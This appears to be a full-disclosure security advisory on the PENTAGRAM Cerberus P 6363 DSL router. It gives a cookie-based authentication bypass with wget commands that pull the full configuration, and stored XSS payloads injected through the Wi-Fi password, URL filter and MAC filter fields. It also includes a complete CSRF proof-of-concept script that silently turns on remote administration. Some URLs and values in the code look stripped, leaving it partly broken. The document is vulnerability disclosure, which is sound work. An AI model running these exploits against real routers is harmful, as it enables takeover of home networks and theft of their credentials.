PENTAGRAM Cerberus P 6363 DSL Router Multiple Vulnerabilities

Credit: codis
Risk: High
Local: No
Remote: Yes

PENTAGRAM Cerberus P 6363 DSL Router Multiple Vulnerabilities Found by condis Vendor Site / Model: Firmware version: V5.07.28_PEN01 Software version: V3.0 1. Prolog Cerberus P 6363 is simple SOHO class router. Its producer claims that it may act as a 4 port switch and has an advanced firewall (...) Device management is only possible through WWW GUI and because of that, GUI was targeted and is subject of this raport. 2. Authentication Bypass (CWE-592) This bug is really trivial. All we need to do is set up "special" cookie before accessing GUI: condis@pandorum:~$ wget -t 1 -nv -O pento.cfg 2013-12-11 23:06:46 URL: [3663] -> "pento.cfg" [1] condis@pandorum:~$ head -n 5 pento.cfg <html> <head> <META http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>PENTAGRAM Cerberus P 6363</title> <script type="text/javascript" src="lang/b28n.js"></script> and now lets try some voodoo magic :x condis@pandorum:~$ wget -t 1 -nv -O pento.cfg --header="Cookie: admin:language=en" condis@pandorum:~$ head -n 5 pento.cfg #Please don't change this file by hand dhcp_static_lease3= sb/1/ofdm2gpo=0x66442200 wl_radius_port=1812 wl0.1_radius_port=1812 3. Multiple Cross Site Scripting (CWE-79) GUI has some simple function that filters out non-alphanumeric characters but it is written in JavaScript, and as we all know, implementing protection only on client-side is no protection at all. One of attack methods would be to turn off JavaScript or write some simple scripts (i.e.: using curl, wget, etc) that won't interpret JS code like web browser does. Second method (which is preferred by me) is to make configuration backup; modify it manually changing relevant variables/directives and then reupload it back to the device. 3.1 Setting WI-FI Password wl_wpa_psk=wifi_password";alert('XSS');// This code will be executed on index page. 3.2 Setting URL Filtration filter_url0=,0-6,0-0,on,foo");alert('XSS');// If "filter_url_mode" is disabled, we must change it to "deny" or "pass". Code injected here will be executed in Security Settings -> URL Filter Setting page. 3.3 Setting MAC Address Filtration filter_mac0=DE:AD:DE:AD:DE:AD,0-6,0-0,on,gangbang');alert('xss');// If "filter_mac_mode" variable is disabled, we must change it to "deny" or "pass". Code injected here will be executed in Security Settings -> MAC Address Filter Settings. Probably there are more XSS flaws, but I stopped searching after those three... 4. Cross Site Request Forgery (CWE-352) There is no mechanism preventing CSRF attacks by which it is possible to enforce any operation on the logged administrator. Below there is simple proof of concept which enables httpd to WAN (access from IP = : ----- cerber_csrf_poc.html ----------------------------------------------------- <body><script> /** * * Cross Site Request Forger v1.1 * by condis * * Simple utility which aim is to help in * testing and exploiting CSRF flaws. * * If You don't know how to use it, then * do NOT use it :) * */ var CSRForger = function() { var f = document.createElement('form'); var obj = { 'target' : '', 'method' : 'post', 'debug' : false, 'addInput' : function(name, value) { var i = document.createElement('input'); = name; i.value = value; i.type = name == 'submit' ? 'submit' : (this.debug === 2) ? 'text' : 'hidden'; f.appendChild(i); }, 'addInputs' : function(post) { for (var field in post) this.addInput(field, post[field]); }, 'csrForge' : function() { f.method = (this.method == 'post') ? 'POST' : 'GET'; f.action =; = "gangbang"; var i = document.createElement('iframe'); = '100%'; = '500px'; if(this.debug === 0 || this.debug === false) { = 'none'; = 'none'; } =; i.src = f.action; document.body.appendChild(f); document.body.appendChild(i); document.getElementsByName('submit').item(0).click(); } }; return obj; }; var cerb = new CSRForger(); = ''; cerb.method = 'GET'; cerb.addInputs({ 'GO' : 'system_remote.asp', 'RMEN' : '1', 'port' : '8080', 'IP' : '', 'submit' : 'go go power rangers' }); cerb.csrForge(); </script></body> ----- cerber_csrf_poc.html ----------------------------------------------------- 5. Epilogue I tried to estalish a dialogue with vendor (07.12.2013) but they didn't respond for five days (probably they don't give a fuck about security) so I decided to publish all bugs. Also, what's obvious there is no patch so best solution that I can think of now is to stop using P 6363 and try other version. (P 6362 has different firmware and at first glance it looked better).


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